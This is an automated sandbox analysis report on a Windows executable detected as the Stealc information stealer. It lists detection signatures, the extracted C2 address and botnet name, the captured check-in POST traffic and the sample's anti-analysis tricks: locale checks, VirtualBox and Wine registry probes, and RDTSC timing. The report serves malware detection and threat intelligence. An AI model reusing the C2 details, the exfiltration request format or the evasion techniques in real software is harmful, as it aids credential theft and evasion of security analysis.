Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1524978
MD5:	0c648c4dfca774a2f1d5204ac06ac5e0
SHA1:	0a095f75ca3115203ccee6f839e284ee6bb361d2
SHA256:	c942c65b0db11adce8f7bded91a98d91e9c236a47cab99ea49d89acdb020c734
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 1212 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0C648C4DFCA774A2F1D5204AC06AC5E0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1485394788.000000000091E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1445038311.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1212	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1212	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.b70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T14:48:04.999687+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.b70000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00B7C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B79AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00B79AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B77240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00B77240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B79B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00B79B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B88EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00B88EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00B838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B84910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B84910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B7DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00B7E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00B7ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B84570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00B84570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B7F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B83EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00B83EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B7DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B7BE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 38 38 37 41 32 37 32 31 42 39 35 31 31 31 37 33 38 38 33 36 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="hwid"3887A2721B951117388365------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="build"doma------AKFIDHDGIEGCAKFIIJKF--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B74880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00B74880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 38 38 37 41 32 37 32 31 42 39 35 31 31 31 37 33 38 38 33 36 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="hwid"3887A2721B951117388365------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="build"doma------AKFIDHDGIEGCAKFIIJKF--

Source: file.exe, 00000000.00000002.1485394788.000000000091E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1485394788.000000000091E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37(
Source: file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e
Source: file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpB
Source: file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpZ
Source: file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpv
Source: file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37o

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5	0_2_00F428A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F33863	0_2_00F33863
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAD028	0_2_00EAD028
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E689C3	0_2_00E689C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1C940	0_2_00E1C940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F38AB5	0_2_00F38AB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F30212	0_2_00F30212
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E26BEE	0_2_00E26BEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F353ED	0_2_00F353ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E7ABB5	0_2_00E7ABB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBA37A	0_2_00FBA37A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F3A4EC	0_2_00F3A4EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F3F4DA	0_2_00F3F4DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E474CA	0_2_00E474CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F31CC3	0_2_00F31CC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F4457A	0_2_00F4457A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F40EF3	0_2_00F40EF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E2FFAD	0_2_00E2FFAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F3BF67	0_2_00F3BF67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DDFF05	0_2_00DDFF05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F4A701	0_2_00F4A701

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00B745C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: vsethdti ZLIB complexity 0.9948937565337514

Source: file.exe, 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1445038311.0000000004D90000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B88680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00B88680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B83720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00B83720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\W17JLIX6.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1870848 > 1048576

Source: file.exe

Static PE information: Raw size of vsethdti is bigger than: 0x100000 < 0x1a2800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.b70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;vsethdti:EW;ypmwblrh:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;vsethdti:EW;ypmwblrh:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B89860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00B89860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1ca34f should be: 0x1d0a54

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vsethdti
Source: file.exe	Static PE information: section name: ypmwblrh
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FED8FD push 65FBCCE1h; mov dword ptr [esp], esi	0_2_00FED926
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE40D2 push 72CF50F1h; mov dword ptr [esp], ebx	0_2_00FE4192
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE58CC push esi; mov dword ptr [esp], 45DFC6E0h	0_2_00FE58E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB98B8 push ebx; mov dword ptr [esp], ebp	0_2_00FB98FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push ebp; mov dword ptr [esp], edi	0_2_00F428F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push 3684A221h; mov dword ptr [esp], edi	0_2_00F42913
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push ebx; mov dword ptr [esp], 773FDA05h	0_2_00F42965
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push edi; mov dword ptr [esp], ecx	0_2_00F42970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push esi; mov dword ptr [esp], edi	0_2_00F429EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push ecx; mov dword ptr [esp], eax	0_2_00F42A02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push 2D55DB80h; mov dword ptr [esp], edx	0_2_00F42A17
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push ecx; mov dword ptr [esp], 27CE3B00h	0_2_00F42A4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push ebp; mov dword ptr [esp], eax	0_2_00F42A80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push 38D9B001h; mov dword ptr [esp], ecx	0_2_00F42AD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push edx; mov dword ptr [esp], ebx	0_2_00F42B1F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push ebp; mov dword ptr [esp], ecx	0_2_00F42B4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push 2DF0F473h; mov dword ptr [esp], ecx	0_2_00F42BED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push eax; mov dword ptr [esp], esi	0_2_00F42C05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push 2338460Fh; mov dword ptr [esp], edi	0_2_00F42C0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push ebx; mov dword ptr [esp], 00000001h	0_2_00F42C7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push eax; mov dword ptr [esp], ebp	0_2_00F42C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push edx; mov dword ptr [esp], edi	0_2_00F42CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push 278B83D4h; mov dword ptr [esp], eax	0_2_00F42D47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push 2476960Ah; mov dword ptr [esp], esi	0_2_00F42D95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push 40DBD939h; mov dword ptr [esp], edx	0_2_00F42DE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push edi; mov dword ptr [esp], esp	0_2_00F42DE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push 13F98E4Ch; mov dword ptr [esp], ecx	0_2_00F42E2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push 79B9358Ch; mov dword ptr [esp], edi	0_2_00F42E98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push edx; mov dword ptr [esp], FEA65A37h	0_2_00F42F3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push eax; mov dword ptr [esp], ebp	0_2_00F42F5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F428A5 push eax; mov dword ptr [esp], ebx	0_2_00F42FAC

Source: file.exe

Static PE information: section name: vsethdti entropy: 7.953545786264284

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00B89860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13825

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49632 second address: F4965D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD44Ch 0x00000007 jmp 00007FB958FCD456h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F497C2 second address: F497C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F497C6 second address: F497CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F497CF second address: F497D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F497D5 second address: F497DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49C8E second address: F49CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007FB958B07021h 0x0000000e rdtsc
